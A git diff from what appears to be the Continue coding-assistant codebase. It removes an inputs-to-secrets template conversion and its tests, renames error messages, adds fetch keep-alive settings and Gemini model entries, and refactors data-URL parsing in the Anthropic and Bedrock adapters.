- undefined, - ); - - expect(result.config).toBeDefined(); - expect(result.config!.rules).toBeDefined(); - expect(result.config!.rules!.length).toBe(1); - - const rule = result.config!.rules![0]!; - let ruleText: string; - if (typeof rule === "string") { - ruleText = rule; - } else { - ruleText = rule.rule; - } - - // Input should be converted to secret, others should remain unchanged - expect(ruleText).toBe( - "Input: ${{ secrets.userSetting }} | Secret: ${{ secrets.apiKey }} | Continue: ${{ continue.workspaceRoot }}", - ); - - // Verify only inputs were converted - const configStr = JSON.stringify(result.config); - expect(configStr).not.toContain("inputs.userSetting"); - expect(configStr).toContain("secrets.apiKey"); - expect(configStr).toContain("continue.workspaceRoot"); - }); - - it("adds source file information to injected blocks", async () => { - const assistant: ConfigYaml = { - name: "Source Test Assistant", - version: "1.0.0", - }; - - const blockContent = ` -name: Source Block -version: 1.0.0 -schema: v1 -rules: - - name: custom-rule - rule: "Always add type hints with \${{ inputs.typeStyle }}" - description: "Enforce type hints for better code clarity" -`; - - const blockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/source-block.yaml", - }; - - mockRegistry.setContent("file:///test/source-block.yaml", blockContent); - - const result = await unrollBlocks( - assistant, - mockRegistry, - [blockId], - undefined, - undefined, - undefined, - ); - - expect(result.config).toBeDefined(); - - // Check that rules have source file information - expect(result.config!.rules).toBeDefined(); - expect(result.config!.rules!.length).toBe(1); - const rule = result.config!.rules![0]; - expect(rule).toMatchObject({ - name: "custom-rule", - rule: "Always add type hints with ${{ secrets.typeStyle }}", - description: "Enforce type hints for better code clarity", - sourceFile: "file:///test/source-block.yaml", - }); - - // Verify input was converted - const configStr = JSON.stringify(result.config); - expect(configStr).not.toContain("inputs.typeStyle"); - }); - - it("handles complex nested input variables", async () => { - const assistant: ConfigYaml = { - name: "Nested Variables Assistant", - version: "1.0.0", - }; - - const nestedBlockContent = ` -name: Nested Variables Block -version: 1.0.0 -schema: v1 -rules: - - "Database config: host=\${{ inputs.db.host }};port=\${{ inputs.db.port }};user=\${{ inputs.db.user }}" -`; - - const blockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/nested-block.yaml", - }; - - mockRegistry.setContent( - "file:///test/nested-block.yaml", - nestedBlockContent, - ); - - const result = await unrollBlocks( - assistant, - mockRegistry, - [blockId], - undefined, - undefined, - undefined, - ); - - expect(result.config).toBeDefined(); - expect(result.config!.rules).toBeDefined(); - expect(result.config!.rules!.length).toBe(1); - - const rule = result.config!.rules![0]!; - let ruleText: string; - if (typeof rule === "string") { - ruleText = rule; - } else { - ruleText = rule.rule; - } - - // All nested inputs should be converted to secrets - expect(ruleText).toBe( - "Database config: host=${{ secrets.db.host }};port=${{ secrets.db.port }};user=${{ secrets.db.user }}", - ); - - // Verify all nested inputs were converted - const configStr = JSON.stringify(result.config); - expect(configStr).not.toContain("inputs.db.host"); - expect(configStr).not.toContain("inputs.db.port"); - expect(configStr).not.toContain("inputs.db.user"); - }); -}); diff --git a/packages/config-yaml/src/load/unroll.test.ts b/packages/config-yaml/src/load/unroll.test.ts index 9a308dd9be7..fb94017b178 100644 --- a/packages/config-yaml/src/load/unroll.test.ts +++ b/packages/config-yaml/src/load/unroll.test.ts @@ -1,8 +1,5 @@ import { PackageIdentifier } from "../interfaces/slugs.js"; -import { - parseMarkdownRuleOrAssistantUnrolled, - replaceInputsWithSecrets, -} from "./unroll.js"; +import { parseMarkdownRuleOrAssistantUnrolled } from "./unroll.js"; describe("parseMarkdownRuleOrAssistantUnrolled tests", () => { it("parses valid YAML content as AssistantUnrolled", () => { @@ -91,186 +88,3 @@ model: # should be models expect(rule).toHaveProperty("rule", dubiousContent); }); }); - -describe("replaceInputsWithSecrets tests", () => { - it("replaces single input with secret", () => { - const yamlContent = ` -name: Test -version: 1.0.0 -data: - value: \${{ inputs.apiKey }} -`; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toContain("\${{ secrets.apiKey }}"); - expect(result).not.toContain("\${{ inputs.apiKey }}"); - }); - - it("replaces multiple inputs with secrets", () => { - const yamlContent = ` -name: Test -version: 1.0.0 -data: - apiKey: \${{ inputs.apiKey }} - dbPassword: \${{ inputs.dbPassword }} - endpoint: \${{ inputs.endpoint }} -`; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toContain("\${{ secrets.apiKey }}"); - expect(result).toContain("\${{ secrets.dbPassword }}"); - expect(result).toContain("\${{ secrets.endpoint }}"); - expect(result).not.toContain("\${{ inputs.apiKey }}"); - expect(result).not.toContain("\${{ inputs.dbPassword }}"); - expect(result).not.toContain("\${{ inputs.endpoint }}"); - }); - - it("leaves secrets template variables unchanged", () => { - const yamlContent = ` -name: Test -version: 1.0.0 -data: - apiKey: \${{ secrets.existingSecret }} - dbPassword: \${{ inputs.dbPassword }} -`; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toContain("\${{ secrets.existingSecret }}"); - expect(result).toContain("\${{ secrets.dbPassword }}"); - expect(result).not.toContain("\${{ inputs.dbPassword }}"); - }); - - it("leaves other template variables unchanged", () => { - const yamlContent = ` -name: Test -version: 1.0.0 -data: - apiKey: \${{ inputs.apiKey }} - environment: \${{ continue.environment }} - customVar: \${{ other.variable }} -`; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toContain("\${{ secrets.apiKey }}"); - expect(result).toContain("\${{ continue.environment }}"); - expect(result).toContain("\${{ other.variable }}"); - expect(result).not.toContain("\${{ inputs.apiKey }}"); - }); - - it("handles yaml with no input template variables", () => { - const yamlContent = ` -name: Test -version: 1.0.0 -data: - staticValue: "hello world" - secretValue: \${{ secrets.mySecret }} -`; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toBe(yamlContent); // Should remain unchanged - expect(result).toContain("\${{ secrets.mySecret }}"); - }); - - it("handles empty string", () => { - const yamlContent = ""; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toBe(""); - }); - - it("handles inputs with whitespace in template variables", () => { - const yamlContent = ` -name: Test -version: 1.0.0 -data: - value1: \${{ inputs.apiKey }} - value2: \${{\tinputs.tabbed\t}} - value3: \${{\n inputs.multiline \n}} -`; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toContain("\${{ secrets.apiKey }}"); - expect(result).toContain("\${{ secrets.tabbed }}"); - expect(result).toContain("\${{ secrets.multiline }}"); - expect(result).not.toContain("inputs.apiKey"); - expect(result).not.toContain("inputs.tabbed"); - expect(result).not.toContain("inputs.multiline"); - }); - - it("handles nested input keys", () => { - const yamlContent = ` -name: Test -version: 1.0.0 -data: - config: \${{ inputs.database.host }} - port: \${{ inputs.database.port }} -`; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toContain("\${{ secrets.database.host }}"); - expect(result).toContain("\${{ secrets.database.port }}"); - expect(result).not.toContain("inputs.database.host"); - expect(result).not.toContain("inputs.database.port"); - }); - - it("handles multiple inputs on same line", () => { - const yamlContent = ` -name: Test -version: 1.0.0 -data: - connectionString: "host=\${{ inputs.host }};port=\${{ inputs.port }};user=\${{ inputs.user }}" -`; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toContain("\${{ secrets.host }}"); - expect(result).toContain("\${{ secrets.port }}"); - expect(result).toContain("\${{ secrets.user }}"); - expect(result).not.toContain("inputs.host"); - expect(result).not.toContain("inputs.port"); - expect(result).not.toContain("inputs.user"); - }); - - it("preserves malformed template variables that don't start with inputs", () => { - const yamlContent = ` -name: Test -version: 1.0.0 -data: - value1: \${{ inputs.valid }} - value2: \${{ malformed.inputs.something }} - value3: \${{ input.typo }} -`; - const result = replaceInputsWithSecrets(yamlContent); - expect(result).toContain("\${{ secrets.valid }}"); - expect(result).toContain("\${{ malformed.inputs.something }}"); // Should remain unchanged - expect(result).toContain("\${{ input.typo }}"); // Should remain unchanged (typo in 'input') - expect(result).not.toContain("inputs.valid"); - }); - - it("handles YAML with complex structure", () => { - const yamlContent = ` -name: Complex Test -version: 1.0.0 -models: - - name: gpt-4 - apiKey: \${{ inputs.openaiKey }} -prompts: - - name: system - content: "You are a helpful assistant. API key: \${{ inputs.openaiKey }}" -rules: - - "Use \${{ inputs.style }} formatting" -data: - config: - database: - host: \${{ inputs.dbHost }} - password: \${{ inputs.dbPassword }} - external: - secret: \${{ secrets.external }} - other: \${{ other.variable }} -`; - const result = replaceInputsWithSecrets(yamlContent); - // Check all inputs were replaced with secrets - expect(result).toContain("\${{ secrets.openaiKey }}"); - expect(result).toContain("\${{ secrets.style }}"); - expect(result).toContain("\${{ secrets.dbHost }}"); - expect(result).toContain("\${{ secrets.dbPassword }}"); - // Check that non-input variables remain unchanged - expect(result).toContain("\${{ secrets.external }}"); - expect(result).toContain("\${{ other.variable }}"); - // Check that no input variables remain - expect(result).not.toContain("inputs.openaiKey"); - expect(result).not.toContain("inputs.style"); - expect(result).not.toContain("inputs.dbHost"); - expect(result).not.toContain("inputs.dbPassword"); - }); -}); diff --git a/packages/config-yaml/src/load/unroll.ts b/packages/config-yaml/src/load/unroll.ts index cc05ccaf0ff..658d147e6cc 100644 --- a/packages/config-yaml/src/load/unroll.ts +++ b/packages/config-yaml/src/load/unroll.ts @@ -50,12 +50,12 @@ export function parseConfigYaml(configYaml: string): ConfigYaml { "cause" in e && e.cause === "result.success was false" ) { - throw new Error(`Failed to parse config: ${e.message}`); + throw new Error(`Failed to parse agent: ${e.message}`); } else if (e instanceof ZodError) { - throw new Error(`Failed to parse config: ${formatZodError(e)}`); + throw new Error(`Failed to parse agent: ${formatZodError(e)}`); } else { throw new Error( - `Failed to parse config: ${e instanceof Error ? e.message : e}`, + `Failed to parse agent: ${e instanceof Error ? e.message : e}`, ); } } @@ -70,7 +70,7 @@ export function parseAssistantUnrolled(configYaml: string): AssistantUnrolled { console.error( `Failed to parse unrolled assistant: ${e.message}\n\n${configYaml}`, ); - throw new Error(`Failed to parse config: ${formatZodError(e)}`); + throw new Error(`Failed to parse agent: ${formatZodError(e)}`); } } @@ -239,18 +239,6 @@ export async function unrollAssistant( return result; } -export function replaceInputsWithSecrets(yamlContent: string): string { - const inputsToSecretsMap: Record = {}; - - getTemplateVariables(yamlContent) - .filter((v) => v.startsWith("inputs.")) - .forEach((v) => { - inputsToSecretsMap[v] = `\${{ ${v.replace("inputs.", "secrets.")} }}`; - }); - - return fillTemplateVariables(yamlContent, inputsToSecretsMap); -} - function renderTemplateData( rawYaml: string, templateData: Partial, @@ -296,7 +284,7 @@ export async function unrollAssistantFromContent( // Convert all of the template variables to FQSNs // Secrets from the block will have the assistant slug prepended to the FQSN - let templatedYaml = renderTemplateData(rawUnrolledYaml, { + const templatedYaml = renderTemplateData(rawUnrolledYaml, { secrets: extractFQSNMap(rawUnrolledYaml, [id]), }); @@ -541,13 +529,16 @@ export async function unrollBlocks( const injectedBlockPromises = injectBlocks.map(async (injectBlock) => { try { const blockConfigYaml = await registry.getContent(injectBlock); - const blockConfigYamlWithSecrets = - replaceInputsWithSecrets(blockConfigYaml); - const resolvedBlock = parseMarkdownRuleOrConfigYaml( - blockConfigYamlWithSecrets, + const parsedBlock = parseMarkdownRuleOrConfigYaml( + blockConfigYaml, + injectBlock, + ); + const blockType = getBlockType(parsedBlock); + const resolvedBlock = await resolveBlock( injectBlock, + undefined, + registry, ); - const blockType = getBlockType(resolvedBlock); return { blockType, diff --git a/packages/config-yaml/src/markdown/agentFiles.ts b/packages/config-yaml/src/markdown/agentFiles.ts index 4450cda0c7b..5f072c4acc5 100644 --- a/packages/config-yaml/src/markdown/agentFiles.ts +++ b/packages/config-yaml/src/markdown/agentFiles.ts @@ -153,10 +153,3 @@ export function parseAgentFileTools(toolsString?: string): ParsedAgentTools { allBuiltIn, }; } - -export function parseAgentFileRules(rules: string) { - return rules - .split(",") - .map((r) => r.trim()) - .filter(Boolean); -} diff --git a/packages/config-yaml/src/schemas/mcp/convertJson.ts b/packages/config-yaml/src/schemas/mcp/convertJson.ts index 662f8e41957..87fa248060e 100644 --- a/packages/config-yaml/src/schemas/mcp/convertJson.ts +++ b/packages/config-yaml/src/schemas/mcp/convertJson.ts @@ -59,7 +59,7 @@ export function convertJsonMcpConfigToYamlMcpConfig( if ("command" in jsonConfig) { if (jsonConfig.envFile) { warnings.push( - `envFile is not supported in Continue MCP configuration (server "${name}"). Environment variables from file will not be used.`, + `envFile is not supported in Continue MCP config (server "${name}"). Environment variables from this file will not be used.`, ); } diff --git a/packages/config-yaml/src/validation.ts b/packages/config-yaml/src/validation.ts index 874eb3ad890..766f852bd42 100644 --- a/packages/config-yaml/src/validation.ts +++ b/packages/config-yaml/src/validation.ts @@ -3,7 +3,6 @@ import { ConfigYaml, configYamlSchema } from "./schemas/index.js"; export interface ConfigValidationError { fatal: boolean; message: string; - uri?: string; } export interface ConfigResult { diff --git a/packages/fetch/src/getAgentOptions.test.ts b/packages/fetch/src/getAgentOptions.test.ts index d52943b5bf4..e5e4dd5490a 100644 --- a/packages/fetch/src/getAgentOptions.test.ts +++ b/packages/fetch/src/getAgentOptions.test.ts @@ -50,6 +50,7 @@ test("getAgentOptions returns basic configuration with default values", async () // Check default timeout (7200 seconds = 2 hours = 7,200,000 ms) expect(options.timeout).toBe(7200000); expect(options.sessionTimeout).toBe(7200000); + expect(options.keepAliveMsecs).toBe(7200000); expect(options.keepAlive).toBe(true); // Verify certificates array exists and contains items @@ -70,6 +71,7 @@ test("getAgentOptions respects custom timeout", async () => { // Check timeout values (300 seconds = 300,000 ms) expect(options.timeout).toBe(300000); expect(options.sessionTimeout).toBe(300000); + expect(options.keepAliveMsecs).toBe(300000); }); test("getAgentOptions uses verifySsl setting", async () => { diff --git a/packages/fetch/src/getAgentOptions.ts b/packages/fetch/src/getAgentOptions.ts index c7798e46f73..2cdc1dbae6d 100644 --- a/packages/fetch/src/getAgentOptions.ts +++ b/packages/fetch/src/getAgentOptions.ts @@ -21,6 +21,7 @@ export async function getAgentOptions( timeout, sessionTimeout: timeout, keepAlive: true, + keepAliveMsecs: timeout, }; // Handle ClientCertificateOptions @@ -37,6 +38,9 @@ export async function getAgentOptions( if (process.env.VERBOSE_FETCH) { console.log(`Fetch agent options:`); + console.log( + `\tTimeout (sessionTimeout/keepAliveMsecs): ${agentOptions.timeout}`, + ); console.log(`\tTotal CA certs: ${ca.length}`); console.log(`\tGlobal/Root CA certs: ${certsCache.fixedCa.length}`); console.log(`\tCustom CA certs: ${ca.length - certsCache.fixedCa.length}`); diff --git a/packages/llm-info/src/providers/gemini.ts b/packages/llm-info/src/providers/gemini.ts index 6a6944ba0a9..43eb8532b23 100644 --- a/packages/llm-info/src/providers/gemini.ts +++ b/packages/llm-info/src/providers/gemini.ts @@ -14,7 +14,17 @@ export const Gemini: ModelProvider = { regex: /gemini-2\.5-pro-preview/i, recommendedFor: ["chat"], }, - + { + model: "gemini-2.5-pro-exp-03-25", + displayName: "Gemini 2.5 Pro Experimental", + description: + "Experimental release of Gemini 2.5 Pro with 1M token context window", + contextLength: 1048576, + maxCompletionTokens: 65536, + mediaTypes: AllMediaTypes, + regex: /gemini-2\.5-pro-exp/i, + recommendedFor: ["chat"], + }, { model: "gemini-2.5-flash-preview-05-20", displayName: "Gemini 2.5 Flash Preview", diff --git a/packages/llm-info/src/providers/vertexai.ts b/packages/llm-info/src/providers/vertexai.ts index cf334ed3ac8..7f4bddffa66 100644 --- a/packages/llm-info/src/providers/vertexai.ts +++ b/packages/llm-info/src/providers/vertexai.ts @@ -29,7 +29,15 @@ export const Gemini: ModelProvider = { regex: /gemini-2\.0-flash-exp-image-generation/i, recommendedFor: ["chat"], }, - + { + model: "gemini-2.5-pro-exp-03-25", + displayName: "Gemini 2.5 Pro Exp", + contextLength: 1048576, + maxCompletionTokens: 65536, + mediaTypes: AllMediaTypes, + regex: /gemini-2\.5-pro-exp-03-25/i, + recommendedFor: ["chat"], + }, { model: "gemini-1.5-flash", displayName: "Gemini 1.5 Flash", diff --git a/packages/openai-adapters/package-lock.json b/packages/openai-adapters/package-lock.json index 2190e58b08c..2f38ada3e77 100644 --- a/packages/openai-adapters/package-lock.json +++ b/packages/openai-adapters/package-lock.json @@ -14,7 +14,7 @@ "@aws-sdk/credential-providers": "^3.840.0", "@continuedev/config-types": "^1.0.14", "@continuedev/config-yaml": "^1.14.0", - "@continuedev/fetch": "^1.5.0", + "@continuedev/fetch": "^1.1.0", "dotenv": "^16.5.0", "google-auth-library": "^10.1.0", "json-schema": "^0.4.0", @@ -1469,9 +1469,10 @@ } }, "node_modules/@continuedev/fetch": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@continuedev/fetch/-/fetch-1.5.0.tgz", - "integrity": "sha512-3c0YAEsaJ6tOy8HW07WUiHErrWb5r5ib+iZg7WxI0JcppvruSWMkQ6EosM/KMLkVw7v2VZi3KPBlZq/7gsBs2A==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@continuedev/fetch/-/fetch-1.2.1.tgz", + "integrity": "sha512-mUq6918QwsutUp65hB/xNLAa0fgjE6JQ5fzMjGlqBp4Q6BQq65HTAtwaBq5PdjPWX72akwhRiGiLOeR0Y2dULg==", + "license": "Apache-2.0", "dependencies": { "@continuedev/config-types": "^1.0.14", "follow-redirects": "^1.15.6", diff --git a/packages/openai-adapters/package.json b/packages/openai-adapters/package.json index 4b349298063..49dbcc1f2a8 100644 --- a/packages/openai-adapters/package.json +++ b/packages/openai-adapters/package.json @@ -17,7 +17,7 @@ "@aws-sdk/credential-providers": "^3.840.0", "@continuedev/config-types": "^1.0.14", "@continuedev/config-yaml": "^1.14.0", - "@continuedev/fetch": "^1.5.0", + "@continuedev/fetch": "^1.1.0", "dotenv": "^16.5.0", "google-auth-library": "^10.1.0", "json-schema": "^0.4.0", diff --git a/packages/openai-adapters/src/apis/Anthropic.ts b/packages/openai-adapters/src/apis/Anthropic.ts index abfe53446b9..25a9c218faf 100644 --- a/packages/openai-adapters/src/apis/Anthropic.ts +++ b/packages/openai-adapters/src/apis/Anthropic.ts @@ -25,6 +25,7 @@ import { CompletionUsage, } from "openai/resources/index"; import { ChatCompletionCreateParams } from "openai/resources/index.js"; +import { extractBase64FromDataUrl } from "../../../../core/util/url.js"; import { AnthropicConfig } from "../types.js"; import { chatChunk, @@ -199,7 +200,7 @@ export class AnthropicApi implements BaseLlmApi { source: { type: "base64", media_type: getAnthropicMediaTypeFromDataUrl(dataUrl), - data: dataUrl.split(",")[1], + data: extractBase64FromDataUrl(dataUrl), }, }); } @@ -322,9 +323,7 @@ export class AnthropicApi implements BaseLlmApi { prompt_tokens: usage?.input_tokens ?? 0, prompt_tokens_details: { cached_tokens: usage?.cache_read_input_tokens ?? 0, - cache_read_tokens: usage?.cache_read_input_tokens ?? 0, - cache_write_tokens: usage?.cache_creation_input_tokens ?? 0, - } as any, + }, }, choices: [ { diff --git a/packages/openai-adapters/src/apis/Bedrock.ts b/packages/openai-adapters/src/apis/Bedrock.ts index cf5588d686d..d2c06c9ca7e 100644 --- a/packages/openai-adapters/src/apis/Bedrock.ts +++ b/packages/openai-adapters/src/apis/Bedrock.ts @@ -30,7 +30,9 @@ import { } from "openai/resources/index"; import { fromNodeProviderChain } from "@aws-sdk/credential-providers"; + import { fromStatic } from "@aws-sdk/token-providers"; +import { parseDataUrl } from "../../../../core/util/url.js"; import { BedrockConfig } from "../types.js"; import { chatChunk, chatChunkFromDelta, embedding, rerank } from "../util.js"; import { safeParseArgs } from "../util/parseArgs.js"; @@ -135,9 +137,9 @@ export class BedrockApi implements BaseLlmApi { case "image_url": default: try { - const [mimeType, base64Data] = ( - part as ChatCompletionContentPartImage - ).image_url.url.split(","); + const { mimeType, base64Data } = parseDataUrl( + (part as ChatCompletionContentPartImage).image_url.url, + ); const format = mimeType.split("/")[1]?.split(";")[0] || "jpeg"; if ( format === ImageFormat.JPEG ||